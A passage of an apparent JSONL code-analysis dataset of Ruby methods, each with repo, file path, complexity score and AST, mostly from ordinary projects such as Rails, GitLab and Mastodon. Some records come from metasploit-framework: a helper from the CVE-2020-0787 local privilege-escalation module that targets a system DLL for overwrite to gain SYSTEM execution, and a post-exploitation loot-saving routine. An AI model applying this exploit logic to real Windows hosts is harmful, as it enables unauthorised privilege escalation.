arguments\"]}]}]}]}]}","id":"71388bf3-8a73-4059-9980-054fb37a4f62"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/rails/authentication/authentication_generator.rb","start_line":54,"raw_source":"def add_migrations\n        generate \"migration\", \"CreateUsers\", \"email_address:string!:uniq password_digest:string!\", \"--force\"\n        generate \"migration\", \"CreateSessions\", \"user:references ip_address:string user_agent:string\", \"--force\"\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"add_migrations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generate\",{\"type\":\"str\",\"children\":[\"migration\"]},{\"type\":\"str\",\"children\":[\"CreateUsers\"]},{\"type\":\"str\",\"children\":[\"email_address:string!:uniq password_digest:string!\"]},{\"type\":\"str\",\"children\":[\"--force\"]}]},{\"type\":\"send\",\"children\":[null,\"generate\",{\"type\":\"str\",\"children\":[\"migration\"]},{\"type\":\"str\",\"children\":[\"CreateSessions\"]},{\"type\":\"str\",\"children\":[\"user:references ip_address:string user_agent:string\"]},{\"type\":\"str\",\"children\":[\"--force\"]}]}]}]}","id":"f9b5aa16-50c1-4558-a212-8b4adcd47c79"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/dialog_import_validator.rb","start_line":47,"raw_source":"def check_dialog_tabs_for_validity(dialog_tabs)\n    dialog_tabs.each do |dialog_tab|\n      raise ParsedNonDialogYamlError unless dialog_tab[\"dialog_groups\"]\n\n      check_dialog_groups_for_validity(dialog_tab[\"dialog_groups\"])\n    end\n  end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"check_dialog_tabs_for_validity\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dialog_tabs\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dialog_tabs\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dialog_tab\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dialog_tab\"]},\"[]\",{\"type\":\"str\",\"children\":[\"dialog_groups\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ParsedNonDialogYamlError\"]}]}]},{\"type\":\"send\",\"children\":[null,\"check_dialog_groups_for_validity\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dialog_tab\"]},\"[]\",{\"type\":\"str\",\"children\":[\"dialog_groups\"]}]}]}]}]}]}","id":"6b24839f-9e63-496f-be8a-d1401f54fbe6"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/lib/chat_sdk/channel.rb","start_line":55,"raw_source":"def start_reply(channel_id:, thread_id: nil, guardian:)\n      Chat::StartReply.call(guardian:, params: { channel_id:, thread_id: }) do\n        on_success { |client_id:| client_id }\n        on_model_not_found(:presence_channel) { raise \"Chat::Channel or Chat::Thread not found.\" }\n      end\n    end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"start_reply\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"channel_id\"]},{\"type\":\"kwoptarg\",\"children\":[\"thread_id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwarg\",\"children\":[\"guardian\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"StartReply\"]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"guardian\"]},{\"type\":\"lvar\",\"children\":[\"guardian\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"channel_id\"]},{\"type\":\"lvar\",\"children\":[\"channel_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"thread_id\"]},{\"type\":\"lvar\",\"children\":[\"thread_id\"]}]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_success\"]},{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"client_id\"]}]},{\"type\":\"lvar\",\"children\":[\"client_id\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_model_not_found\",{\"type\":\"sym\",\"children\":[\"presence_channel\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Chat::Channel or Chat::Thread not found.\"]}]}]}]}]}]}","id":"f04078b9-9087-43fd-8d03-e2275e1f3c1d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/table_print/rank_formatter.rb","start_line":8,"raw_source":"def format(rank)\n            if rank.present? && !rank.to_s.match?(/\\D/) && Msf::RankingName.key?(rank.to_i)\n              Msf::RankingName[rank.to_i]\n            else\n              rank\n            end\n          end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"format\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rank\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rank\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rank\"]},\"to_s\"]},\"match?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\D\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"RankingName\"]},\"key?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rank\"]},\"to_i\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"RankingName\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rank\"]},\"to_i\"]}]},{\"type\":\"lvar\",\"children\":[\"rank\"]}]}]}","id":"07b842a3-3854-4dac-9a0d-57446c9b440b"}
{"repo_name":"rails","file_path":"./repos/rails/activestorage/app/models/active_storage/blob/analyzable.rb","start_line":51,"raw_source":"def extract_metadata_via_analyzer\n      analyzer.metadata.merge(analyzed: true)\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_metadata_via_analyzer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"analyzer\"]},\"metadata\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"analyzed\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"cf617541-94e3-4968-86db-56ddf3e185a8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/cve_2020_0787_bits_arbitrary_file_move.rb","start_line":161,"raw_source":"def check_windowscoredeviceinfo_dll_exists_on_target\n    # Taken from bwatters-r7's cve-2020-0688_service_tracing.rb code.\n    #\n    # We are going to overwrite the WindowsCoreDeviceInfo.dll DLL as part of our exploit.\n    # The second part of this exploit will trigger a Update Session to be created so that this DLL\n    # is loaded, which will result in arbitrary code execution as SYSTEM.\n    #\n    # To prevent any errors, we will first check that this file doesn't exist and ask the user if they are sure\n    # that they want to overwrite the file.\n    win_dir = session.sys.config.getenv('windir')\n    normal_target_payload_pathname = \"#{win_dir}\\\\System32\\\\WindowsCoreDeviceInfo.dll\"\n    wow64_target_payload_pathname = \"#{win_dir}\\\\Sysnative\\\\WindowsCoreDeviceInfo.dll\"\n    wow64_existing_file = \"#{win_dir}\\\\Sysnative\\\\win32k.sys\"\n    if file?(wow64_existing_file)\n      if file?(wow64_target_payload_pathname)\n        print_warning(\"#{wow64_target_payload_pathname} already exists\")\n        print_warning('If it is in use, the overwrite will fail')\n        unless datastore['OVERWRITE_DLL']\n          print_error('Change OVERWRITE_DLL option to true if you would like to proceed.')\n          fail_with(Failure::BadConfig, \"#{wow64_target_payload_pathname} already exists and OVERWRITE_DLL option is false\")\n        end\n      end\n      target_payload_pathname = wow64_target_payload_pathname\n    elsif file?(normal_target_payload_pathname)\n      print_warning(\"#{normal_target_payload_pathname} already exists\")\n      print_warning('If it is in use, the overwrite will fail')\n      unless datastore['OVERWRITE_DLL']\n        print_error('Change OVERWRITE_DLL option to true if you would like to proceed.')\n        fail_with(Failure::BadConfig, \"#{normal_target_payload_pathname} already exists and OVERWRITE_DLL option is false\")\n      end\n      target_payload_pathname = normal_target_payload_pathname\n    end\n    target_payload_pathname\n  end","complexity_score":38.4,"ast_json":"{\"type\":\"def\",\"children\":[\"check_windowscoredeviceinfo_dll_exists_on_target\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"win_dir\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"sys\"]},\"config\"]},\"getenv\",{\"type\":\"str\",\"children\":[\"windir\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"normal_target_payload_pathname\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"win_dir\"]}]},{\"type\":\"str\",\"children\":[\"\\\\System32\\\\WindowsCoreDeviceInfo.dll\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"wow64_target_payload_pathname\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"win_dir\"]}]},{\"type\":\"str\",\"children\":[\"\\\\Sysnative\\\\WindowsCoreDeviceInfo.dll\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"wow64_existing_file\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"win_dir\"]}]},{\"type\":\"str\",\"children\":[\"\\\\Sysnative\\\\win32k.sys\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file?\",{\"type\":\"lvar\",\"children\":[\"wow64_existing_file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file?\",{\"type\":\"lvar\",\"children\":[\"wow64_target_payload_pathname\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wow64_target_payload_pathname\"]}]},{\"type\":\"str\",\"children\":[\" already exists\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"str\",\"children\":[\"If it is in use, the overwrite will fail\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"OVERWRITE_DLL\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Change OVERWRITE_DLL option to true if you would like to proceed.\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wow64_target_payload_pathname\"]}]},{\"type\":\"str\",\"children\":[\" already exists and OVERWRITE_DLL option is false\"]}]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"target_payload_pathname\",{\"type\":\"lvar\",\"children\":[\"wow64_target_payload_pathname\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file?\",{\"type\":\"lvar\",\"children\":[\"normal_target_payload_pathname\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"normal_target_payload_pathname\"]}]},{\"type\":\"str\",\"children\":[\" already exists\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"str\",\"children\":[\"If it is in use, the overwrite will fail\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"OVERWRITE_DLL\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Change OVERWRITE_DLL option to true if you would like to proceed.\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"normal_target_payload_pathname\"]}]},{\"type\":\"str\",\"children\":[\" already exists and OVERWRITE_DLL option is false\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"target_payload_pathname\",{\"type\":\"lvar\",\"children\":[\"normal_target_payload_pathname\"]}]}]},null]}]},{\"type\":\"lvar\",\"children\":[\"target_payload_pathname\"]}]}]}","id":"41fd6b90-a7bc-4534-a08c-3526e7ffcc7b"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/errors_test.rb","start_line":481,"raw_source":"def initialize\n        @errors = ActiveModel::Errors.new(self)\n        @errors.add(:name, \"bar\")\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@errors\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveModel\"]},\"Errors\"]},\"new\",{\"type\":\"self\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"bar\"]}]}]}]}","id":"a26493b9-a907-41d2-9a75-4df860f0ac3c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/linux/gather/enum_system.rb","start_line":81,"raw_source":"def save(msg, data, ctype = 'text/plain')\n    ltype = 'linux.enum.system'\n    loot = store_loot(ltype, ctype, session, data, nil, msg)\n    print_status(\"#{msg} stored in #{loot}\")\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"save\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"msg\"]},{\"type\":\"arg\",\"children\":[\"data\"]},{\"type\":\"optarg\",\"children\":[\"ctype\",{\"type\":\"str\",\"children\":[\"text/plain\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ltype\",{\"type\":\"str\",\"children\":[\"linux.enum.system\"]}]},{\"type\":\"lvasgn\",\"children\":[\"loot\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"lvar\",\"children\":[\"ltype\"]},{\"type\":\"lvar\",\"children\":[\"ctype\"]},{\"type\":\"send\",\"children\":[null,\"session\"]},{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]}]},{\"type\":\"str\",\"children\":[\" stored in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loot\"]}]}]}]}]}]}","id":"0bd6b48d-4670-49eb-9475-789dcecae592"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_json_serialization.rb","start_line":20,"raw_source":"def test_generate_raises_error_for_unexpected_key_type\n    value = { [1] => 'b' }\n    ex = assert_raises Puma::JSONSerialization::SerializationError do\n      Puma::JSONSerialization.generate value\n    end\n    assert_equal 'Could not serialize object of type Array as object key', ex.message\n  end","complexity_score":7.55,"ast_json":"{\"type\":\"def\",\"children\":[\"test_generate_raises_error_for_unexpected_key_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"str\",\"children\":[\"b\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ex\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"JSONSerialization\"]},\"SerializationError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"JSONSerialization\"]},\"generate\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Could not serialize object of type Array as object key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]},\"message\"]}]}]}]}","id":"c5fc564d-0bda-4348-a1cb-496ab66c31bd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/ci/deployable.rb","start_line":151,"raw_source":"def environment_auto_stop_in\n      environment_processing_metadata[:auto_stop_in]\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"environment_auto_stop_in\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"environment_processing_metadata\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"auto_stop_in\"]}]}]}","id":"a330031f-9f52-4acd-bd88-ac6eb5ebf0f1"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20170322143850_change_primary_key_to_bigint_on_statuses.rb","start_line":4,"raw_source":"def up\n    change_table(:statuses, bulk: true) do |t|\n      t.change :id, :bigint\n      t.change :reblog_of_id, :bigint\n      t.change :in_reply_to_id, :bigint\n    end\n\n    change_column :media_attachments, :status_id, :bigint\n    change_column :mentions, :status_id, :bigint\n    change_column :notifications, :activity_id, :bigint\n    change_column :preview_cards, :status_id, :bigint\n    change_column :reports, :status_ids, :bigint, array: true\n    change_column :statuses_tags, :status_id, :bigint\n    change_column :stream_entries, :activity_id, :bigint\n  end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change_table\",{\"type\":\"sym\",\"children\":[\"statuses\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bulk\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"change\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"change\",{\"type\":\"sym\",\"children\":[\"reblog_of_id\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"change\",{\"type\":\"sym\",\"children\":[\"in_reply_to_id\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"change_column\",{\"type\":\"sym\",\"children\":[\"media_attachments\"]},{\"type\":\"sym\",\"children\":[\"status_id\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]}]},{\"type\":\"send\",\"children\":[null,\"change_column\",{\"type\":\"sym\",\"children\":[\"mentions\"]},{\"type\":\"sym\",\"children\":[\"status_id\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]}]},{\"type\":\"send\",\"children\":[null,\"change_column\",{\"type\":\"sym\",\"children\":[\"notifications\"]},{\"type\":\"sym\",\"children\":[\"activity_id\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]}]},{\"type\":\"send\",\"children\":[null,\"change_column\",{\"type\":\"sym\",\"children\":[\"preview_cards\"]},{\"type\":\"sym\",\"children\":[\"status_id\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]}]},{\"type\":\"send\",\"children\":[null,\"change_column\",{\"type\":\"sym\",\"children\":[\"reports\"]},{\"type\":\"sym\",\"children\":[\"status_ids\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"array\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"change_column\",{\"type\":\"sym\",\"children\":[\"statuses_tags\"]},{\"type\":\"sym\",\"children\":[\"status_id\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]}]},{\"type\":\"send\",\"children\":[null,\"change_column\",{\"type\":\"sym\",\"children\":[\"stream_entries\"]},{\"type\":\"sym\",\"children\":[\"activity_id\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]}]}]}]}","id":"3cd8037e-3ac6-45fd-88f0-cfc2294d51fd"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/documentation_comment.rb","start_line":31,"raw_source":"def precede?(node1, node2)\n        node2.loc.line - node1.loc.line == 1\n      end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"precede?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node1\"]},{\"type\":\"arg\",\"children\":[\"node2\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node2\"]},\"loc\"]},\"line\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node1\"]},\"loc\"]},\"line\"]}]},\"==\",{\"type\":\"int\",\"children\":[1]}]}]}","id":"ccbe278c-e0a5-4419-a9a2-0e3c3bf9b44a"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/smell_detectors/unused_private_method.rb","start_line":24,"raw_source":"def initialize(context)\n          @name  = context.name\n          @line  = context.exp.line\n        end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"context\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@line\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"exp\"]},\"line\"]}]}]}]}","id":"1b080166-0f1b-469b-9f4d-3139319fb883"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/ci/runner_releases_spec.rb","start_line":14,"raw_source":"def releases_by_minor\n    subject.releases_by_minor\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"releases_by_minor\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subject\"]},\"releases_by_minor\"]}]}","id":"5cdba3f2-c121-47f4-8a37-bb1fd443d6c4"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/models/contact.rb","start_line":21,"raw_source":"def initialize(options = {})\n    options.each { |name, value| public_send(\"#{name}=\", value) }\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[null,\"public_send\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"=\"]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"51aeb255-5a73-4a3c-9501-3905d975faaa"}
{"repo_name":"rails","file_path":"./repos/rails/actionmailer/lib/action_mailer/test_case.rb","start_line":129,"raw_source":"def assert_no_part(content_type, mail = last_delivered_mail!)\n        mime_type = Mime[content_type]\n        part = [*mail.parts, mail].find { |part| mime_type.match?(part.mime_type) }\n\n        assert_nil part, \"expected no part matching #{mime_type} in #{mail.inspect}\"\n      end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_no_part\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content_type\"]},{\"type\":\"optarg\",\"children\":[\"mail\",{\"type\":\"send\",\"children\":[null,\"last_delivered_mail!\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mime_type\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mime\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"content_type\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"part\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mail\"]},\"parts\"]}]},{\"type\":\"lvar\",\"children\":[\"mail\"]}]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"part\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mime_type\"]},\"match?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"part\"]},\"mime_type\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"lvar\",\"children\":[\"part\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"expected no part matching \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mime_type\"]}]},{\"type\":\"str\",\"children\":[\" in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mail\"]},\"inspect\"]}]}]}]}]}]}","id":"e505a675-bd22-47f9-902e-bec40517b610"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/inheritance_test.rb","start_line":377,"raw_source":"def test_new_with_autoload_paths\n    path = File.expand_path(\"../models/autoloadable\", __dir__)\n    Zeitwerk.with_loader do |loader|\n      loader.push_dir(path)\n      loader.setup\n\n      firm = Company.new(type: \"ExtraFirm\")\n      assert_equal ExtraFirm, firm.class\n    ensure\n      loader.unload\n    end\n  end","complexity_score":13.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_new_with_autoload_paths\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"../models/autoloadable\"]},{\"type\":\"send\",\"children\":[null,\"__dir__\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Zeitwerk\"]},\"with_loader\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"loader\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loader\"]},\"push_dir\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loader\"]},\"setup\"]},{\"type\":\"lvasgn\",\"children\":[\"firm\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Company\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"